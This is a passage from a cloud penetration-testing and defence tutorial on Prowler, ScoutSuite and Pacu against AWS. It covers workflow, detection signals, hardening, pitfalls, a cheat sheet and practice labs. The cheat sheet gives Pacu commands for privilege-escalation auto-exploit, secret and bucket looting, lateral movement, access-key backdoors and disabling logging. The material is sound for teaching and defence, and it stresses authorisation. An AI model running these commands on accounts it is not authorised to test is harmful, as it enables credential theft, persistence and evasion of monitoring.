2. Access. The client provisions read-only creds for the scanners and, if exploitation is in scope, a starting low-priv credential (or an agreed initial-access scenario) for Pacu.
3. Posture sweep (breadth). Run Prowler (--compliance cis_2.0_aws, all services, critical/high) and ScoutSuite (full account) read-only. One hour, whole-account map.
4. Triage. Collapse by root cause, drop intentional exposures, and rank findings by exploitability — which ones chain into real impact.
5. Exploit (depth). Take the top exploitable findings into Pacu (or the raw CLI): confirm permissions, run iam__privesc_scan, assume roles, loot secrets, demonstrate lateral movement — always the minimum needed to prove impact, never gratuitous destruction.
6. Evidence. Capture Pacu transcripts, retrieved (non-sensitive placeholder) data, screenshots, and the exact API calls, so each claim in the report is reproducible.
7. Report. Each finding = weakness + evidence + business impact + remediation, cross-referenced to the CIS/PCI control Prowler mapped it to.
8. Cleanup. Destroy anything Pacu created (backdoor keys, test roles, launched instances), remove CloudGoat, and hand the client a list of every write action you took so they can verify the account is clean.

Opsec for the assessor: even authorised testing should minimise noise and blast radius. Prefer read-only recon first; scope Pacu write modules tightly; never run detection__disruption (which tries to disable CloudTrail/GuardDuty) on a real client without explicit, separate approval — disabling a client’s logging, even to demonstrate you can, is a serious action that belongs in a controlled exercise, not a default step.

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Part 10: Detection & Defense Angle

Everything above is what the attacker (or authorised assessor) does. This section flips to the defender: how each of these tools looks from inside the account, and how to detect and blunt them. This is the one consolidated defensive section (per the reference-chapter style).

Detecting the scanners (Prowler & ScoutSuite)

Both scanners are read-only and generate a characteristic burst of Describe*, List*, and Get* calls across dozens of services in a short window from a single identity. That pattern is the signature.

• CloudTrail: look for a single principal issuing hundreds of List*/Describe*/Get* calls across many services within minutes. Normal automation is usually scoped to a few services; a broad sweep of everything is a scanner (or an attacker enumerating).
• User-Agent: Prowler and ScoutSuite send identifiable SDK user-agents (Boto3/… Botocore/…, sometimes with tool markers). A detection on userIdentity + unusual userAgent + breadth catches naive runs. (Sophisticated operators can spoof this, so don’t rely on it alone.)
• GuardDuty: a full enumeration can trip Recon:IAMUser/* findings (e.g. Recon:IAMUser/ResourcePermissions, Recon:IAMUser/UserPermissions) — GuardDuty specifically models “an identity is probing what it can do.”

Detecting a read-only auditor is genuinely hard because the calls are, individually, legitimate — the breadth and burst are the tell. Focus the alert on volume + variety from one principal in a short window.

Detecting Pacu (the write tool)

Pacu is louder because it changes state and probes permissions aggressively:

• iam__enum_permissions brute-forces permissions, producing a flurry of calls (many resulting in AccessDenied) — a spike in errorCode: AccessDenied for a single principal is a strong signal, and maps to GuardDuty Recon:IAMUser/UserPermissions.
• iam__privesc_scan --exploit performs write actions: SetDefaultPolicyVersion, CreatePolicyVersion, AttachUserPolicy, CreateAccessKey, PassRole+RunInstances. Alert on any of these IAM mutations — they are rare in steady-state and high-value.
• iam__backdoor_users_keys calls CreateAccessKey on an existing user — a classic persistence signature; alert on CreateAccessKey where the caller ≠ the target user.
• Older Pacu versions carried a distinctive default user-agent; current versions can be configured, so treat user-agent as a weak, supplementary signal.

Tool	Loudest signal	CloudTrail event(s)	GuardDuty finding
Prowler / ScoutSuite	Broad read burst from one principal	List*, Describe*, Get* across many services	Recon:IAMUser/ResourcePermissions
Pacu enum	Spike in AccessDenied	many failed iam:*, ec2:* reads	Recon:IAMUser/UserPermissions
Pacu privesc	IAM mutation	SetDefaultPolicyVersion, CreatePolicyVersion, AttachUserPolicy	PrivilegeEscalation:IAMUser/* (via detectors)
Pacu persist	New credential on a user	CreateAccessKey, CreateUser, CreateLoginProfile	Persistence:IAMUser/*
Pacu evade	Logging disabled	StopLogging, DeleteTrail, UpdateDetector	Stealth:IAMUser/CloudTrailLoggingDisabled

Hardening — deny the primitives the tools rely on

The defence is not “block the tool,” it is “remove the misconfiguration the tool exploits”:

• Least privilege + permission boundaries so a compromised low-priv key has no privesc path for iam__privesc_scan to find. Delete old privileged policy versions (kills the rollback path).
• Deny the dangerous IAM verbs for non-admins via SCP: iam:SetDefaultPolicyVersion, iam:CreatePolicyVersion, iam:AttachUserPolicy, iam:PutUserPolicy, iam:CreateAccessKey on other users, iam:PassRole scoped tightly.
• Enforce IMDSv2 (HttpTokens=required) fleet-wide to kill the SSRF→creds chain Pacu leans on.
• Turn on and protect logging: multi-region CloudTrail with log-file validation, an organisation trail the member account cannot disable, GuardDuty enabled in every region, AWS Config recording. An org-level trail is what defeats detection__disruption.
• Alert on the mutations in the table above via EventBridge → SNS/SOAR. IAM writes and CreateAccessKey are rare enough that alerting on all of them is affordable.
• Run Prowler/ScoutSuite yourself, continuously. The best defence against an assessor’s scanner is to have run the same scanner last week and already fixed everything it finds. Prowler in CI against every account, gated on critical/high, closes the gap the attacker would exploit.

The through-line: the scanners the attacker uses against you are the same scanners you should run against yourself. Owning the tooling is defensive as much as offensive.

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Part 11: Common Pitfalls

• Running Pacu write modules on production without written write-scope. The single biggest mistake. iam__privesc_scan --exploit changes IAM; detection__disruption disables logging. If your RoE didn’t explicitly authorise write actions, stay in enumerate-only mode.
• Forgetting to destroy CloudGoat / Pacu artefacts. Left-behind vulnerable infra and backdoor access keys are real liabilities. cloudgoat destroy and revoke every key Pacu created.
• Trusting scanner severity blindly. A “public bucket” HIGH may be an intentional static site. Triage for intent before it goes in the report.
• Running scanners with too-broad credentials. Give Prowler/ScoutSuite SecurityAudit/ReadOnlyAccess, not admin. A read-only auditor with admin keys is an unnecessary risk if your laptop is compromised mid-engagement.
• Ignoring regions. Default scans hit all regions and can be slow/expensive; but restricting regions can miss resources an attacker parked in ap-south-1. Scope deliberately, and at least once scan all regions for shadow resources.
• Confusing “found” with “exploitable.” Prowler finds iam:* on a role; that is not proof until Pacu (or the CLI) actually uses it. Reports that claim impact without proof get torn apart in read-outs.
• Pacu session hygiene. One session per engagement. Mixing two clients’ loot in one session DB is a data-handling incident waiting to happen.
• Leaking client data in loot. s3__download_bucket pulls real data to your disk. Handle, store, and destroy it per the engagement’s data-handling rules — do not screenshot real PII into a report.

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Part 12: Final Revision / Summary

• Two motions, three tools. Breadth/posture = Prowler (checks + compliance mapping) and ScoutSuite (inventory dashboard), both read-only. Depth/exploit = Pacu, which writes.
• Order: scanners first for a ranked map in an hour, then Pacu to prove the exploitable findings. Breadth finds the unlocked door; depth walks through it.
• Prowler = CLI, hundreds of checks, --compliance cis_2.0_aws/pci/hipaa/nist, --services, --severity, --output-formats, multi-cloud (prowler aws|azure|gcp|kubernetes). Output: CSV/JSON/HTML + per-control compliance reports.
• ScoutSuite = offline HTML dashboard, resource-centric, rule-set engine you can tune, great for understanding an unfamiliar account. scout aws --profile … --services … --report-dir ….
• Pacu = sessions + modules. Loop: import_keys → whoami → iam__enum_permissions → iam__privesc_scan [--exploit] → lateral (sts__assume_role) → loot (secrets__enum, s3__download_bucket) → persist (iam__backdoor_users_keys). Session DB stores loot for reuse.
• iam__privesc_scan is the flagship: checks ~20 known AWS privesc methods against the credential’s real permissions and can auto-exploit.
• Detection: scanners = broad read burst + GuardDuty Recon:*; Pacu = AccessDenied spike (enum), IAM mutations + CreateAccessKey (privesc/persist), StopLogging/DeleteTrail (evade). Hardening: least privilege + permission boundaries, deny the dangerous IAM verbs via SCP, enforce IMDSv2, org-level CloudTrail + GuardDuty everywhere, alert on IAM writes, and run the scanners against yourself continuously.
• Ethics: authorised, scoped, write-scope-in-writing, practise on CloudGoat/flAWS, destroy your artefacts, handle client data carefully.

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Part 13: Cheat Sheet / Quick Reference

Prowler

prowler aws                                   # full account, all checks
prowler aws --profile P -q                    # only failing checks
prowler aws --services s3 iam ec2             # scope to services
prowler aws --severity critical high          # scope to severity
prowler aws --compliance cis_2.0_aws          # report against CIS 2.0
prowler aws --list-compliance                 # list frameworks
prowler aws --list-checks                     # list all checks
prowler aws --region us-east-1 eu-west-1      # limit regions
prowler aws --output-formats csv json html -o ./out/
prowler azure --az-cli-auth                   # Azure
prowler gcp                                    # GCP (app-default creds)
prowler kubernetes --kubeconfig-file ~/.kube/config

ScoutSuite

scout aws --profile P                          # full scan, opens HTML
scout aws --profile P --regions us-east-1,eu-west-1
scout aws --services iam s3 --no-browser --report-dir ./scout/
scout azure --cli                              # Azure via az login
scout gcp --user-account                       # GCP
scout aws --ruleset ./custom.json              # custom ruleset

Pacu

pacu                              # launch; create/select a session
set_keys / import_keys PROFILE    # add a credential
whoami                            # current identity + captured data
ls / search TERM / help MODULE    # browse modules
run iam__enum_permissions         # confirm this key's permissions
run iam__enum_users_roles_policies_groups
run iam__privesc_scan             # find privesc paths
run iam__privesc_scan --exploit   # auto-exploit them
run ec2__enum / run ec2__download_userdata
run secrets__enum                 # loot Secrets Manager + SSM
run s3__bucket_finder / run s3__download_bucket
run sts__assume_role              # lateral movement
run iam__backdoor_users_keys      # persistence (create 2nd key)
run detection__enum_services      # am I being watched?

CloudGoat

./cloudgoat.py config profile
./cloudgoat.py create SCENARIO          # e.g. iam_privesc_by_rollback, ec2_ssrf
./cloudgoat.py destroy SCENARIO         # ALWAYS tear down
./cloudgoat.py destroy all

Defender quick hits

Enforce IMDSv2:  aws ec2 modify-instance-metadata-options \
                   --instance-id i-xxx --http-tokens required --http-endpoint enabled
Org CloudTrail:  aws cloudtrail create-trail --is-multi-region-trail --is-organization-trail
GuardDuty on:    aws guardduty create-detector --enable
Alert on:        SetDefaultPolicyVersion, CreatePolicyVersion, AttachUserPolicy,
                 CreateAccessKey, StopLogging, DeleteTrail
Self-scan:       prowler aws --compliance cis_2.0_aws  (in CI, gate on critical/high)

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Part 14: Practice Labs & Resources

Train these exact tools on purpose-built targets — do not practise on anything you don’t own.

• CloudGoat (Rhino Security Labs) — deploy iam_privesc_by_rollback (the Part 7 lab), ec2_ssrf (the Part 8 chain), iam_privesc_by_key_rotation, cloud_breach_s3, and lambda_privesc. These are the canonical Pacu/CLI privesc ranges. Run Prowler and ScoutSuite against each before exploiting to see the finding first.
• flAWS.cloud and flAWS2.cloud (Scott Piper) — hosted, no deploy. flAWS2 has both an attacker and a defender track; the defender track is the best free way to practise reading CloudTrail for exactly the signals in Part 10.
• AWSGoat (INE/ine-labs) — a vulnerable web app on AWS; good for practising the SSRF→IMDS→loot chain end to end with real tooling.
• CloudFoxable — a deliberately vulnerable AWS environment built to practise cloud enumeration tooling; pairs well with Pacu’s enum modules.
• PentesterLab / HackTheBox cloud tracks and TryHackMe “AWS” and “Cloud” rooms — guided intros to Pacu and cloud misconfig exploitation.
• CIS AWS Foundations Benchmark PDF — read it once so you understand what Prowler’s --compliance cis_2.0_aws is actually checking, control by control.
• Rhino Security Labs blog — the original write-ups behind iam__privesc_scan’s ~20 AWS privilege-escalation methods; read them to understand why each Pacu module works, not just how to run it.
• Prowler and ScoutSuite GitHub docs — the authoritative flag references; skim the --list-checks / ruleset docs to learn what each tool can and cannot see.

Practice questions:

1. You have read-only creds on a new account and 30 minutes before a call. Which tool do you run first and with exactly which flags to hand the client a prioritised, CIS-mapped list? Write the command.
2. iam__privesc_scan reports CONFIRMED: CreateNewPolicyVersion. Explain the exact IAM primitive being abused and the CloudTrail event a defender would alert on to catch the --exploit step.
3. Prowler flags 34 instances of “security group open to 0.0.0.0/0”. How do you present this as one finding with one remediation rather than 34 rows, and what preventive control stops it recurring?
4. You stole temporary role credentials via SSRF (IMDSv1). Which single defender-side change would have broken this chain, and which Prowler check verifies it is in place?
5. Design the CloudTrail/GuardDuty detection you’d deploy to catch a Pacu operator moving from iam__enum_permissions through iam__privesc_scan --exploit to iam__backdoor_users_keys — name the specific events/findings at each stage.